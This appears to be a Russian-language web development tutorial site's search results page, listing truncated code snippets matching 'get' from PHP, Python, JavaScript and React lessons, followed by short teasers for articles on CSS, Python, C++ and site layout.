// пытаемся переместить загруженный архив из временной папки в нужную ...
... delay = 300; //задержка в миллисекундах
function textrotator(i) {
var p = document.getelementbyid("textrotator");
p.innerhtml = array[i];
i++;
if (i == ...
... // в случае ошибки просто возвращаем false
$hds = @get_headers($uri);
// проверка, если нет заголовков, т.е. такого сайта нет например ...
... число, месяц и год рождения. выходные параметры: возраст.
<?php
function getage($y, $m, $d) {
if($m > date('m') || $m == date('m') && $d > date('d'))
...
... теперь добавим скрипт, управляющий основными действиями:
const video = document.getelementbyid('myvideo');
function playpause() {
if (video.paused) {
video.play(); ...
... <head> и </head>):<script type="text/javascript">
function setbigimage(foto) {
document.getelementbyid("bigimg").src = foto.src;
}
</script>
код html (вставлять между тегами <body> ...
...
# формируем имя файла
subject = msg.get('subject', 'no_subject').replace('/', '_')
filename = f"{num.decode()}_{subject}.eml" ...
... import reactdom from 'react-dom';
import app from './components/app';
reactdom.render(<app />, document.getelementbyid("app"))
в подпапке components содержатся непосредственно сами ...
... for result in soup.find_all("a", class_="result__a", limit=max_results):
title = result.get_text() # заголовок результата
href = result['href'] # ссылка на результат ...
... информацией между разными системами.'
soup = beautifulsoup(html, 'html.parser')
text_only = soup.get_text()
result = f'{text_only}'
print(result)
какой способ выбрать?
re — легче ...
... пример
смена фона у кнопки:
<button id="button">try it</button>
<script>
document.getelementbyid("button").addeventlistener("click", function(){
this.style.backgroundcolor = "black";
}); ...
... виде json. для этого отлично подходит библиотека requests:
import requests
response = requests.get('https://api.example.com/data')
data = response.json() # автоматически парсит json
print(data) ...
... в директории, к которой вы хотите подключить данные блокировки):
<limit get post>
order allow,deny
deny from 15.29.29.12
deny from 13.110.145.
deny from 21.173.
...
... for (int y = 0; y < mybitmap.height; y++)
{
color pixelcolor = mybitmap.getpixel(x, y);
// изменение цвета пикселя ...
... div.style.height = height;
div.style.width = width;
div.style.border = border;
document.getelementsbytagname ('body') [0] .appendchild (дела);
return div;
}
следующий ...
... export pythonpath=$(pwd)
python main.py
# временно для одной сессии windows (powershell)
$env:pythonpath=get-location
python main.py
# в коде (не рекомендуется как постоянная практика)
import ...
... является то, что ссылки раскупают очень быстро, правда, по сниженным ценам.
gogetlinks.net. эта биржа особенна тем, что она занимается только вечными ссылками. ...
... # получаем содержимое файла
response = requests.get(url)
# проверяем, успешно ли загружен файл ...
... статье.
скачать свежую версию filezilla можно по следующему адресу: http://filezilla.ru/get/. выберите filezilla client для вашей ос, скачайте и установите его.
теперь ...
... // получаем запрошенный url
let url = new url(event.currenttarget.href);
// запускаем роутер, предавая ему path ...
... earn_second = earn_month / (30 * 24 * 3600);
cur_earn += earn_second * delay / 1000;
document.getelementbyid('earn').innerhtml = cur_earn.tofixed(5);
}
function updateearn() {
earn_month ...
... "роберт кийосаки"
]
];
document.getelementbyid("next-quote").addeventlistener("click", function() {
// выбираем случайную фразу из массива ...
... assembly assembly = assembly.loadfrom("someassembly.dll");
type type = assembly.gettype("somenamespace.someclass");
dynamic instance = activator.createinstance(type); ...
... кнопку.
получить поисковый запрос (как правило, передаваемый методом get, но иногда применяют и post), а также, в целях защиты от xss, пропустить его ...
... на нашем сайте.
это можно сделать так:
$rss = file_get_contents('https://news.yandex.ru/science.rss');
$rss = simplexml_load_string($rss); ...
... 'chat_id' => '', // название канала
'text' => 'привет, бот!'
];
$resp = file_get_contents("https://api.telegram.org/bot{$botapitoken}/sendmessage?" . http_build_query($data) );
print $resp; ...
... private val _text = mutablelivedata<string>()
val text: livedata<string> get() = _text
init {
_text.value = "hello, world!"
...
... freeze > requirements.txt
напишите простой скрипт.
# app.py
import requests
resp = requests.get("https://api.github.com")
print("status:", resp.status_code)
python app.py
чек-лист по venv и requirements.txt ...
... foreach ($ite as $file) {
$files[] = $ite->getsubpathname(); //получение имени файла
}
return $files; ...
... наверх при клике.
// получаем кнопку по id
const scrolltopbtn = document.getelementbyid("scrolltopbtn");
// добавляем событие на прокрутку окна ...
... быть обработка различных форм, относящихся к комментариям */
$comments = getcomments(); // некая функция в модели, возврающая двумерный массив с комментариями ...
... $pdo->rollback();
echo "failed to update data: " . $e->getmessage();
}
эти стратегии помогут вам надежно обновлять данные в базе данных ...
... var block = document.getelementbyid('infinite-scroll');
var counter = 1; ...
... php.
скрипт мониторинга сам по себе очень и очень простой:
<?php
if (@get_headers("http://mail.ru")) echo "сайт доступен";
else echo "сайт не доступен";
?>
но ...
... // читаем файл построчно
while ($line = fgets($file)) {
// разбираем строку лога ...
... const context = canvas.getcontext('2d');
// вычисляем соотношение сторон исходного изображения ...
... получили элемент c id="box_out" и присвоили его переменной box_primer
let box_primer = document.getelementbyid('box_out');
// запустили цикл for in
for (let x in box){
// внутри парного ...
... вам различные варианты шрифтов. если вам что-то понравилось, нажимаете get font и попадаете на google fonts.
colors & fonts
https://www.colorsandfonts.com
вдохновляющая ...
... // выбираем элемент по идентификатору
var container = document.getelementbyid("container");
// находим дочерние элементы
var children = container.children; ...
... отслеживания лайков вконтакте:
<script type="text/javascript">
vk.observer.subscribe('widgets.like.liked', function(param) {
alert("был нажат лайк");
});
</script>
для ...
... авторизован.
key - секретный ключ, который будет находиться в ссылке в виде get-параметра.
r - адрес страницы, куда будет совершён переход после авторизации. ...
... import requests
app = flask(__name__)
name1 = []
@app.route('/', methods=['post', 'get'])
def handle_data():
if request.method == 'post':
if 'name' in request.form: ...
... const ctx = canvas.getcontext('2d');
// очищаем холст ...
... пакета. для установки на ubuntu, вы можете воспользоваться командой:
sudo apt-get install php-pcntl
для других систем управления пакетами вы можете использовать ...
... глагол-существительное и используются для выполнения конкретных задач. например:
get-process
циклы:
powershell поддерживает различные виды циклов, такие как for, ...
... # получаем текущую страницу из параметров запроса, по умолчанию страница 1
page = request.args.get('page', 1, type=int)
# устанавливаем количество элементов на одной странице ...
... <react.strictmode>
<app />
</react.strictmode>,
document.getelementbyid('root')
);
./src/components/app.js
import react from 'react'; ...
... import app from './components/app'
reactdom.render(
<app />,
document.getelementbyid('app')
)
файл index.html
<!doctype html>
<html lang="en"> ...
... строку запроса (query string), которую потом можно будет
передать на сервер в виде get параметра.
итак, для начала определим некоторые вспомогательные функции, ...
... url = "https://jsonplaceholder.typicode.com/posts"
response = requests.get(url)
data = response.json()
# render the template with json data ...
... симпатично и делается все очень быстро.
установка фреймворка
на вкладке get started вы увидите несколько вариантов установки:
вариант #1). скачать ...
... гамбургер. внутри nav надо добавить строку под логотипом.
<a href="#" data-target="mobile-demo" class="sidenav-trigger"><i class="material-icons">menu</i></a>
добавление ...
... автоматическую смену блоков
$("#switch img").bind("click", function(event) {
setcourse($(event.target).attr("data-number")); // при клике по переключателю выводим соответствующий блок ...
... классов bootstrap-а, следует присвоить каждой колонке.
переходим на сайт https://getbootstrap.com/ в раздел grid. мы определили у блока div классы "col-lg-3" "col-md-6", где ...
... import app from './components/app';
reactdom.render(
<app />,
document.getelementbyid('root')
);
./components/app.js
import react from 'react'; ...
... from flask import flask, request, jsonify
app = flask(__name__)
# обработчик
@app.route('/api', methods=['get'])
def index():
return "версия api"
# пример url api ...
... async with aiohttp.clientsession() as session:
async with session.get(url) as response:
return await response.text() ...
... спрятать. в противном случае сделать видимым.
function barfunction() {
var x = document.getelementbyid("navlinks");
if (x.style.display === "block") {
x.style.display = "none";
} ...
... 2000; //задержка в миллисекундах
function imagerotator(i) {
var image = document.getelementbyid("rotator");
image.src = array[i];
i++;
if (i == array.length) ...
... /* перебираем все полученные файлы */
$str = strip_tags(file_get_contents($files[$i])); // помещаем содержимое файлов в переменную, предварительно ...
... . "';"); // указываем имя при сохранении в браузере
echo file_get_contents($filename); // отдаём файл пользователю на скачивание
}
...
... curl_exec($ch);
$response = curl_getinfo($ch, curlinfo_http_code);
curl_close($ch);
return (!empty($response) && $response != 404); ...
... параметры";
return false;
}
list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)
$types ...
... параметры";
return false;
}
list($w_i, $h_i, $type) = getimagesize($image); // получаем размеры и тип изображения (число)
$types ...
... компонент, установив плагин со сниппетами, больше не надо идти на сайт getbootstrap.com, открывать документацию и копировать оттуда код. вы можете нужный ...
... администратора
проверяем текущие параметры для политики выполнения: get-executionpolicy -list
устанавливаем требуемый уровень (меняем политику выполнения) ...
... "http://www.cbr.ru/scripts/xml_daily.asp?date_req=$date"; // ссылка на xml-файл с курсами валют
$content = file_get_contents($link); // скачиваем содержимое страницы
$dom = new domdocument("1.0", "cp1251"); ...
... xhttp.open("способ_отправки", "url");
непосредственно посылает на сервер запрос – метод send(). при get запросе тело запроса остается пустым.
xhttp.send();
3) сервер обрабатывает ...
... этот тривиальный php-код:
<?php
$link = "http://myrusakov.ru/images/site.jpg";
$file = file_get_contents($link);
file_put_contents("site.jpg", $file);
?>
вот такой тривиальный скрипт, ...
... позаимствуем уже готовый код симпатичной формы в разделе components/forms на сайте https://getbootstrap.com. обратите внимание, где именно в html-коде подключены cdn для bootstrap, ...
... виде: http://mysite.ru/?ref=abc, либо http://mysite.ru/page.php?n=5&ref=abc. то есть главное, чтобы был get-параметр ref, а значение этого параметра - логин пользователя, который ...
... this.name = name;
this.price = price;
this.tax = tax;
}
get price() {
console.log(`стоимость этого товара с налогом в \$${this.tax}% -\$${this.price ...
...
// получаем элемент с id 'box'
const box = document.getelementbyid('box');
// добавляем элемент видео в контейнер 'box' ...
... пакетного менеджера вашей системы. например, для ubuntu это команда:
sudo apt-get install openssl
шаг 2: создание самоподписанного сертификата
создайте ...
php пространства имен (namespace) — это механизм логической группировки кода, который предотвращает конфликты имен и делает проект структурированным. ...
в мире веб-разработки существует множество технологий и подходов, которые помогают упростить процесс передачи данных между различными компонентами ...
здравствуйте! во время работы с текстовыми файлами часто возникает задача очистки данных от дубликатов. например, у вас есть список email-адресов, ...
event loop в javascript — базовый механизм, который определяет, когда выполняется ваш код: синхронный, коллбэки, промисы, таймеры и обработчики событий. ...
в php, передача данных между приложением и сервером в формате json является обычной практикой. интерфейс jsonserializable предоставляет возможность управления ...
запрос «измерение времени в c++» стабильно популярен у начинающих и продолжающих разработчиков. часто нужно понять, сколько работает алгоритм, ...
в мире, пронизанном технологиями, нейронные сети становятся непременным инструментом для решения широкого спектра задач, начиная от распознавания ...
описание: очень простой и часто используемый скрипт. очень простой скрипт, который способен реализовать любой, кто занимается созданием сайтов ...
описание: кнопка с динамически появляющимся текстом. при нажатии на кнопку пользователь переходит на заданный в скрипте файл. не совсем тривиальный ...
здравствуйте! в сегодняшней статье мы поговорим о загрузке векторных ассетов в android studio. вы узнаете, как добавлять svg-файлы в проект, превращать ...
если вы ищете понятное руководство по enum class в c++, вы на месте. в статье разберём, почему «классические» перечисления часто приводят к ошибкам, ...
если вы ищете понятное и практичное руководство по теме «метатеги в html для seo», вы попали по адресу. разберём базовый и расширенный набор метатегов: ...
если вы вбили запрос вроде «семантическая разметка html5» и хотите быстро понять, какие теги использовать и зачем — вы по адресу. ниже кратко и ...
доброго времени суток! сегодня мы поговорим с вами о новшестве языка php - атрибутах.
в php 8 была добавлена поддержка атрибутов, которые предоставляют ...
описание: продолжу тему создания различных анимационных эффектов на javascript, и сегодня покажу вам ещё один интересный скрипт, который двигает ...
иконка сайта (favicon) — это небольшой, но важный элемент, который виден на вкладках браузера, в списке закладок, на экране смартфона и в ярлыках ...
здравствуйте! при работе с текстовыми файлами в python вы могли сталкиваться с ошибками вроде:
unicodedecodeerror: 'charmap' codec can't decode byte 0x98 in position xxx. ...
в свернутом виде меню навигации из себя представляет кнопку с иконкой плюс. при клике по кнопке меню разворачивается - иконки образуют круг ...
в мире веб-разработки php продолжает выделяться как один из самых широко используемых языков программирования.с каждой новой версией php представляет ...
функции массивов — одна из сильных сторон php. правильное использование array_map, array_filter и array_reduce помогает писать короче, читабельнее и безопаснее. ...
поисковый запрос, под который оптимизирована статья: «замыкания в php» и «анонимные и стрелочные функции в php». если вы хотите писать компактный ...
менеджеры контекста в python — один из самых полезных инструментов для управления ресурсами. если вы ищете, как работает оператор with, что такое ...
если вы начинаете путь в c++, умение уверенно работать со std::vector — один из важнейших навыков. вектор сочетает динамический массив, безопасность ...
на этом уроке мы сделаем нестандартную анимацию для переключателя меню-гамбургер на языке javascript.
создание переключателя
создадим саму кнопку-переключатель ...
swoole — это современное высокопроизводительное асинхронное расширение для php, которое позволяет разработчикам создавать масштабируемые, параллельные ...
доброго времени суток! сегодня мы рассмотрим с вами ка можно создать эффект бьющегося сердца
средствами css-анимации. итак, код ниже:
<!doctype html> ...
разделим рисование куба условно на пять сторон и сверху крышка top.
html код
тегами span обозначим 4 стороны куба с использованием переменной i. ...
если вы только осваиваете ооп в python для начинающих, важно понять ключевые идеи: класс описывает «тип» объекта, а объект — это конкретный экземпляр ...
если вы ищете простое и практичное руководство по запросу «регулярные выражения в php», вы по адресу. разберём ключевые функции pcre: preg_match, preg_replace ...
в этой статье речь пойдет не о стилизации стандартного чекбокса созданного на html, а о создании чекбокса с нуля и реализации его переключения ...
адаптивные изображения в html5 помогают ускорить сайт и улучшить качество картинки на разных устройствах. ключевые инструменты: атрибуты srcset, ...
поисковый запрос, под который оптимизирована статья: «css единицы измерения: px, em, rem, vw, vh»
зачем понимать css‑единицы
единицы измерения в css напрямую ...
доброго времени суток! сегодня мы рассмотрим основные термины, используемые при работе с инструментом визуаального проектирования
интерфейсов ...
доброго времени суток!
несмотря на то, что структура базы данных может быть создана в ручную, путем описания sql-кода необходимого для создания ...
запрос для этой статьи: «логические операторы в python». если вы уверенно понимаете, как работают and, or, not, почему они иногда возвращают не булевы ...
css grid — самый простой способ собрать адаптивную сетку карточек, галерей и списков товаров без десятка @media. ключ к магии — связка repeat(auto-fit, minmax()). ...
если вы часто работаете со списками и строками, то умение эффективно использовать срезы (slice) в python сэкономит вам массу времени. срезы позволяют ...
запрос «map filter reduce в javascript» стабильно популярен: эти три метода помогают писать компактный и понятный код без лишних циклов и мутаций. ниже — ...
архитектура программного обеспечения играет ключевую роль в разработке веб-приложений, определяя их структуру, распределение компонентов ...
аргументы функций в python — одна из базовых тем, которая напрямую влияет на читаемость кода и качество api. в этой статье мы подробно разберём позиционные ...
если вы когда‑нибудь использовали цикл for в python, вы уже пользовались итераторами. в этой статье мы разберёмся, что такое итерабельные объекты ...
в статье "бриф на разработку сайта" вы узнали что такое бриф и зачем надо анкетировать заказчика. вам крупно повезет, если у заказчика существует ...
если вы ищете понятное руководство по теме «множества в python», эта статья для вас. разберём, что такое set и frozenset, какие операции поддерживаются, ...
xor (exclusive or)- это логическая операция, которая возвращает истину (1), если и только если оба операнда различаются. это означает, что результат xor ...
описание: достаточно простой скрипт, основанный на таймерах javascript. всё, что он делает, так это при наведении мышки начинает переливаться цветом, ...
запрос, под который оптимизирована статья: лямбда‑функции в c++. если вы хотите быстро и безопасно писать компактные функции прямо в месте вызова ...
если вы хотите уверенно работать с табличными данными на веб‑страницах, начните с правильной разметки. таблицы в html — это структурированный ...
позиционирование в css — фундамент для создания всплывающих блоков, закреплённых шапок, бейджей на карточках и «прилипающих» сайдбаров. в этом ...
запрос «string_view в c++: когда использовать и чем он лучше std::string» — один из самых частых у начинающих. разобраться важно: от правильного выбора типа ...
описание: текст на кнопке в виде бегущей строке. весьма интересный скрипт javascript, который вполне может быть использован при создании сайта на ...
es6 модули — стандартный способ организовывать код в javascript. они делают проекты понятнее, ускоряют загрузку в браузере и упрощают тестирование. ...
зачем нужна строгая типизация в php 8
ключевая проблема «слабого» php — неочевидные преобразования типов. php 8 привнёс зрелую типизацию: строгий ...
запрос: правило трёх в c++, правило пяти в c++, правило нуля в c++ — понятное руководство с примерами и лучшими практиками.
зачем нужно правило трёх, ...
продолжаем предыдущую статью, в которой рассказывалось как загрузить файл на сервер в expressjs.
в данной статье мы рассмотрим как загрузить сразу ...
доброго времени суток! в прошлой статье мы рассмотрели с вами, что такое операционная система linux и какие дистрибутивы бывают.
одним из самых ...
запрос, на который отвечает статья: «ссылки и указатели в c++: отличие и когда что использовать».
ключевые различия
ссылка — это псевдоним уже ...
запрос, который часто вводят в поиск: «семантика перемещения c++ std::move примеры». это руководство закрывает его полностью. ниже — простые объяснения, ...
если вы только начинаете или уже пишете на языке, умение эффективно использовать f-строки в python быстро повышает читаемость кода. это современный ...
работа с датой и временем — обязательный навык в реальных проектах: логи, отчёты, напоминания, аналитика. в python за это отвечает модуль datetime, а ...
циклы — один из первых инструментов, которые осваивают в python. они помогают обходить коллекции, повторять действия и управлять потоком выполнения. ...
чтение и запись файлов в python: режимы, кодировки и лучшие практики
работа с файлами — одна из первых реальных задач в python. в этой статье вы научитесь ...
openssl - это универсальная криптографическая библиотека, предоставляющая различные методы шифрования для защиты данных. далее мы рассмотрим ...
dataclasses в python — это способ описывать данные компактно и понятно, не вручную прописывая __init__, __repr__, __eq__ и другую рутину. для новичков и продолжающих ...
промисы и async/await в javascript: понятное руководство с примерами и лучшими практиками
запрос: «промисы в javascript для начинающих», «async await примеры». это ...
если вы когда-нибудь видели, как переменная оказывается «доступной» до места своего объявления, вы сталкивались с hoisting (поднятием). в этой статье ...
запрос «изменяемые и неизменяемые типы в python» регулярно ищут начинающие разработчики. и не зря: понимание иммутабельности помогает избегать ...
массивы в c++: c‑массивы vs std::array — практическое руководство для начинающих
запрос, который часто вводят в поиск: «массивы в c++ std::array для начинающих». ...
запрос «изменяемые аргументы по умолчанию в python» регулярно появляется в поиске — и не зря. это одна из самых коварных ошибок: вы пишете безобидную ...
на чистом css можно создавать интересные и оригинальные "спецэффекты", один из которых мы сейчас подробно разберем. у нас есть список пунктов ...
на прошлом уроке мы создали футер, украшенный волной, в его верхней части. согласитесь, что неплохо было бы оживить нашу волну - сделать анимацию. ...
бывает, что заказчики часто просят, сделать дополнительную навигацию на wordpress и вывести её, в указанном на скриншоте, месте (красными стрелочками). ...
сегодня мы поговорим о требуемых навыках для работы не на фрилансе, а в офисе, как на месте, так и удаленно. просматривая размещенные вакансии ...
на этом уроке мы сделаем валидацию номера телефона на js. для этого создадим форму с одним единственным полем, куда пользователь будет вводить ...
в очередной раз, просматривая вакансии на html-верстальщика, на предмет поиска темы для новой статьи, в списке требований работодателя, наткнулся ...
продолжаем верстку формы входа, используя методологию бэм.
шаг 3.
под ссылкой – блок с аватаркой.
<div class="form__avatar">
<img src="img/avatar.png" alt="avatar"> ...
на прошлом уроке, мы закончили с чекбоксом, нам осталось сделать кнопку.
шаг 7.
внутри блока с формой, сделаем разметку для кнопки, обернем ...
пока вы сидели в одиночестве, вылавливая на фриланс-биржах, подходящие для себя заказы, офисные веб-разработчики, уже на полную катушку, использовали ...
нас, веб-разработчиков, строгий google, уже давно убедил, что изображения на сайте, надо оптимизировать – уменьшать их вес. красный или оранжевый ...
на этом уроке мы научимся делать простой hover эффект для кнопки с помощью псевдокласса :nth-child. на кнопке есть текст - button, при наведении курсора ...
на этом уроке мы сделаем меню с красивым эффектом при наведении с использованием псевдоэлементов - :after и :before. что такое псевдоэлементы, мы очень ...
все базы данных делятся на два типа, с хранением данных в таблицах (mysql) и с хранением данных, в массивах (формат bson). mongodb – документо-ориентированная ...
в статье работа с библиотекой jquery ui, мы подробно на примере виджета tooltip, разобрали, как подключить библиотеку, зачем она вообще нужна. сегодня, ...
делать карусель на чистом js, с нуля и самому? зачем изобретать велосипед, когда есть готовые решения, slick / owl слайдеры? на это есть, как минимум ...
в этой статье вы узнаете о шаблонных строках в javascript, которые упрощают
работу со строками.
до es6 мы использовали только одинарные кавычки ...
статья "бриф на разработку сайта" - ответила на вопрос, что такое бриф и кому он нужен. данная статья будет практическим руководством, как создать ...
в статье "конструктор mobirise для верстальщика" была подробно раскрыта тема, чем полезен конструктор mobirise верстальщику. в этой статье, я прокомментирую ...
оформить красиво статью на html - это не значит, как-то ярко или по-особому. вовсе нет, стиль оформления, не должен напрягать читателя и вызывать ...
перед теми кто начинает программировать на java, сразу возникают
два вопроса: как скомпилировать, и как запустить программу на java?
в одной из ...
это будет не просто очередная статья в стиле "копирайтеров-теоретиков" на тему, что такое "бесплатный конструктор сайтов mobirise". прежде, чем приступить ...
на этом уроке, мы займемся версткой формы, пока без отправления данных на сервер. кроме того, установим скрипт выбора даты, при онлайн бронировании. ...
на этом уроке я покажу вам как реализовать такой hover эффект, как плавное подчеркивание ссылки при наведении. подчеркивающая линия будет появляться ...
у любого вебмастера есть свой набор полезных сервисов, которые облегчают работу и помогают в веб разработке. сегодня я поделюсь с вами своей ...
у посетителя сайта, должна быть возможность, быстро вернуться наверх, если он дошел до конца страницы. обычно в правом нижнем углу браузера, ...
на этом уроке вы узнаете, как работать со скриптом aos, с помощью которого можно легко создавать анимацию элементов при скролле страниц.
ссылка ...
для верстальщика обязательным порядком необходимо уметь стилизовать разные элементы формы. согласитесь, что вряд ли дизайнер оставит форму, ...
давайте немного освежим в памяти, для чего нужны radio кнопки на сайтах. radio кнопка – это переключатель, который используют в формах, когда пользователю ...
валидация формы – это функция, проверяющая вводимую пользователем информацию, при заполнении формы. если пользователь что-то пропустил или ...
здравствуйте, уважаемые посетители сайта myrusakov.ru! как вы знаете, недавно я запустил несколько новых видео курсов
связанных с языком java и поэтому ...
в прошлой статье мы говорили о том, как превратить php скрипт
в консольную команду для выполнения рутинных действий. а в этой
посмотрим как разобрать ...
на этом уроке я покажу вам как сделать очень необычный текстовый эффект, применяя чистый css. для этого потребуется большая фотография в качестве ...
на этом уроке мы сделаем всплывающую подсказку при наведении на иконку на чистом css. точно такой же принцип можно применить к картинке. перейдите ...
при посещении тех или иных сайтов можно заметить такую особенность, когда
при выделении текста на странице, он может менять свой стиль. такого ...
на прошлом уроке были проделаны все подготовительные работы для верстки секции по psd макету. после создания файла index.html (я пишу код в notepad++), у ...
на прошлом уроке была сделана html разметка для дальнейшей верстки psd макета. как и ожидалось все блоки и секции встали друг под друга - это и есть ...
на прошлом уроке была сделана верстка секции по psd макету. сейчас наш сайт хорошо смотрится на больших и средних мониторах. но что произойдет, ...
на одном из предыдущих уроков, мы рассматривали самый простой способ, как сделать таблицу адаптивной. суть адаптации таблицы сводилась к появлению ...
часто можно увидеть в социальных сетях, как бывалые программисты внушают новичкам, что им не нужно тратить время на изучение библиотеки jquery. ...
сегодня мы поговорим о том, что такое якорь в html, как это работает, да так, чтобы действие произошло плавно.
якорь – это знак решетки, который ...
что такое аккордеон в html? это компактный способ отображения контента на сайте. чаще всего это текстовые блоки с информацией, например ответы ...
в первой части, мы учились получать и изменять значение атрибута на jquery. во второй части, напишем программу на jquery - при клике по цветной кнопке, ...
на этом уроке, мы создадим красивый эффект тени при наведении, на чистом css. подобный эффект можно реализовать на любом блочном элементе. в нашем ...
как с пользой можно применить эффект печатающегося текста на сайтах? первое, что приходит в голову - для фиксирования внимания посетителей на ...
вы были молодцом и уже прошли курс по основам верстки, хорошо знаете html теги и css свойства. кто-то из вас воспользовался многочисленными бесплатными ...
многие из вас наверняка видели, что при заполнение формы можно поставить галочку в поле с чекбоксом и при вводе пароль станет видимым. сегодня ...
элемент с position: sticky отображается как относительно спозиционированный до тех пор, пока не пересечет заданную границу и тогда он ведет себя как ...
использование всплывающих подсказок на html страницах, прекрасная возможность дать пользователю уточняющую информацию, в удобном для него виде ...
на первой части урока, мы делали верстку на flexbox-ах, а на этом уроке, адаптируем и анимируем элементы сайта, используя библиотеку animate.css.
адаптация ...
flex блок представляет собой flex-контейнер, внутри которого вдоль основной оси, расположены flex-элементы. это легко представить в виде шашлыка, ...
с технологией флексбоксов стало намного проще не только адаптивно верстать сайты, но и выравнивать элементы. раньше с этим было трудновато. ...
предположим, у вас есть продукт, портфолио или просто идея, которой вы хотите
поделиться на своем сайте. прежде чем опубликовать что-либо в интернете, ...
на этом уроке мы сделаем верстку адаптивной шапки сайта (лендинга), используя bootstrap сетку. если вы не знаете что это такое, советую почитать статью ...
на дворе уже 2020 год и я думаю, что этап агитации делать верстку с использованием препроцессоров, уже давно пройден. поэтому можно без потери ...
на прошлом уроке мы создавали html структуру для макета с блок постами, а на этом уроке расставим посты в соответствии с макетом, максимально используя ...
существует два принципиально разных способа, добавления иконок на сайт:
в виде картинки (растровой или векторной)
в качестве иконочного ...
сегодня мы научимся получать значения из формы на jquery, вводимые пользователем. рассмотрим на примере простого калькулятора. у него будет два ...
на этом уроке мы сделаем модальное окно на js. уже трудно себе представить современный коммерческий сайт без модального окна. поэтому, понимание ...
эта статья является логическим продолжением двух предыдущих статей: "бриф на разработку сайта" и "прототипирование сайта – важный этап" все ...
в программировании мы всегда взаимодействуем с данными, которые не являются какой-то абстрактной субстанцией. все данные разделяются по определенному ...
возможно, что после прочтения статьи python – как первый язык программирования, вам захочется познакомиться поближе с питоном (народное название). ...
список в python представляет из себя упорядоченную коллекцию однотипных или не однотипных элементов и относится к типу данных list. это когда в переменную ...
словарь является типом данных (dist) в python и представляет собой неупорядоченную коллекцию, состоящую из пар "ключ-значение". словари в python очень ...
в этой статье, мы познакомимся с базовыми основами работы со строками в python. строка (string) содержит в себе набор символов в кодировке ascii и относится ...
в python у разных типов данных есть свои методы (функции), специфичные для этого типа данных. и раз уж на прошлом уроке мы начали знакомиться со строками, ...
официальный сайт: textolite.ru
textolite представляет собой простую систему управления статичным сайтом с бесплатной и платной расширенной версией. ...
предназначение цикла while в python, такое же, как и в других языках программирования - выполнять одинаковые инструкции столько раз, пока условие ...
css фильтры чаще всего применяют к фоновым изображениям или фотографиям. по сути они заменяют программу photoshop, чтобы добиться некоторого эффекта, ...
необходимость размещать текст в колонках на веб-страницах, безусловно пришла из газет и журналов. однако на мониторах компьютеров, читать длинные ...
на этом уроке мы познакомимся с ещё одним типом данных в python, множеством (по-английски - set). множество - это неупорядоченный набор уникальных ...
изучать программирования без решения практических задач, не имеет никакого смысла. вам не нужна теория, просто ради теории и работодателю тоже. ...
чем ещё можно привлечь внимание пользователя? например, при наведении курсора наша кнопочка могла бы двигаться, вращаться, искажаться или масштабироваться. ...
ни в коем случае нельзя бездумно создавать на сайте анимации, просто ради анимации. как говорится, медицинский совет "не навреди", здесь вполне ...
эффект плавного перехода в css часто применяется при наведении курсора на какой-нибудь элемент, например для кнопки. когда при наведении курсора, ...
несмотря на существенный прорыв в создании анимаций на css, javascript по прежнему остаётся главным инструментом по анимациям в веб-разработке. на ...
сегодня почти каждая серьезная компания распространяет свои товары и услуги через интернет с помощью собственного сайта.
в условиях технологического ...
наверняка вы много раз видели на разных сайтах - пульсирующую кнопку с иконкой телефонной трубки. это достаточно эффективный прием, побуждающий ...
секция с фотографиями
на секции с портфолио, вы узнаете, как верстать на flexbox. мы имеем дело с нестандартным расположением фотографий, одна ...
в интернете мы то и дело ищем какую-нибудь информацию, чаще всего это текст и поэтому не случайно всех больше html тегов предусмотрено именно для ...
на этом уроке мы будем создавать адаптивную контактную форму на всю ширину браузера, используя css и медиа-запросы.
демонстрация примера.
...
первая часть этой статьи находится
здесь, а в данной
статье мы продолжим обсуждать десять частых ошибок в ux дизайне.
ошибка 6: пространство ...
последнее время мне все чаще задают вопросы о том, как устроены индикаторы,
показывающие текущую позицию чтения текста (количество прочитанного ...
данная статья является продолжением предыдущей
статьи, в которой
мы говорили о том, как реализовать индикатор позиции чтения. в прошлой
статье ...
на большинстве сайтах поля форм обратной связи, по ширине не больше 300 пикселей. форма с максимальной шириной в 320 пикселей целиком поместится ...
на этом уроке мы сделаем анимацию svg вектора, используя jquery плагин - lazy line painter. суть анимации состоит в постепенном прорисование любого векторного ...
из этого урока вы узнаете как создать адаптивное навигационное меню с иконками, используя библиотеку font awesome и палитру цветов, на чистом css.
...
если бы таблицы могли хорошо адаптироваться под разные разрешения экранов, то человечество и по сей день делало бы табличную верстку. я ещё ...
oauth 2.0 - это открытый протокол авторизации, который позволяет одним
приложениям получать доступ к данным других приложений. например, игровое ...
на этом уроке мы научимся встраивать строку поиска в адаптивное меню навигации, используя при этом только html/css код.
демонстрация примера. ...
каждый веб-сайт создается для достижения некоторой цели. оптимизация конверсии
(conversion rate optimization – cro) – это процесс, имеющий целью увеличить ...
тем, кто знает, что такое обратный звонок на сайте, предлагаю не читать, а перейти сразу к следующей главе. для остальных постараюсь объяснить, ...
разработчики клиентских сайтов на wordpress, часто сталкиваются с необходимостью восстанавливать сайт, после очередного обновления какого-нибудь ...
сервис яндекс.деньги позволяет любому физическому лицу (для юрлиц и ип есть яндекс.касса), разместить на сайте форму оплаты, даже владельцам ...
как сделать массовый импорт товаров в интернет-магазин, работающий на плагине wordpress – woocommerce? совсем недавно этого нельзя было сделать бесплатно, ...
сегодня вы узнаете как сделать чекбокс на html и добавить ему css стилей для лучшей совместимости с дизайном сайта.
демонстрация
чекбокс на ...
javascript - это гибкий и мощный язык программирования, который реализуется
различными веб-браузерами. наряду с html и css, это основной компонент ...
на прошлом уроке, мы научились делать css анимацию элементов, используя библиотеки animate.css + wow.js. на этом уроке мы научимся как сделать тоже самое, ...
по умолчанию маркером списка ul, служит простая черная точка. я знаю, что многие начинающие верстальщики, используют маркированные списки для ...
эта статья является продолжением предыдущей статьи, которая находится
здесь.
шаг 3: кодирование отображаемого кода для предотвращения межсайтового ...
не секрет, что вероятнее всего верстка, старательно выполненная верстальщиком по psd макету, а дальнейшем перекочует в руки к специалисту по ...
эта статья является продолжением предыдущей статьи. первая часть находится здесь
хотя в реальности, мы редко когда манипулируем временем, ...
перед web-разработчиками часто возникают задачи, в которых они должны
работать с датой и временем. если вы все еще используете php функции, такие ...
сегодня мы познакомимся с адаптивным слайдером на jquery - bxslider, который будет хорошо отображаться на любом устройстве. этот слайдер подходит для ...
эта статья является продолжением предыдущей статьи, которая находится здесь.
существует несколько популярных конкурирующих форматов ...
на этом уроке мы научимся устанавливать на сайт видео фон во всю ширину экрана. обычно такие видео фоны служат вместо статичного фона в верхней ...
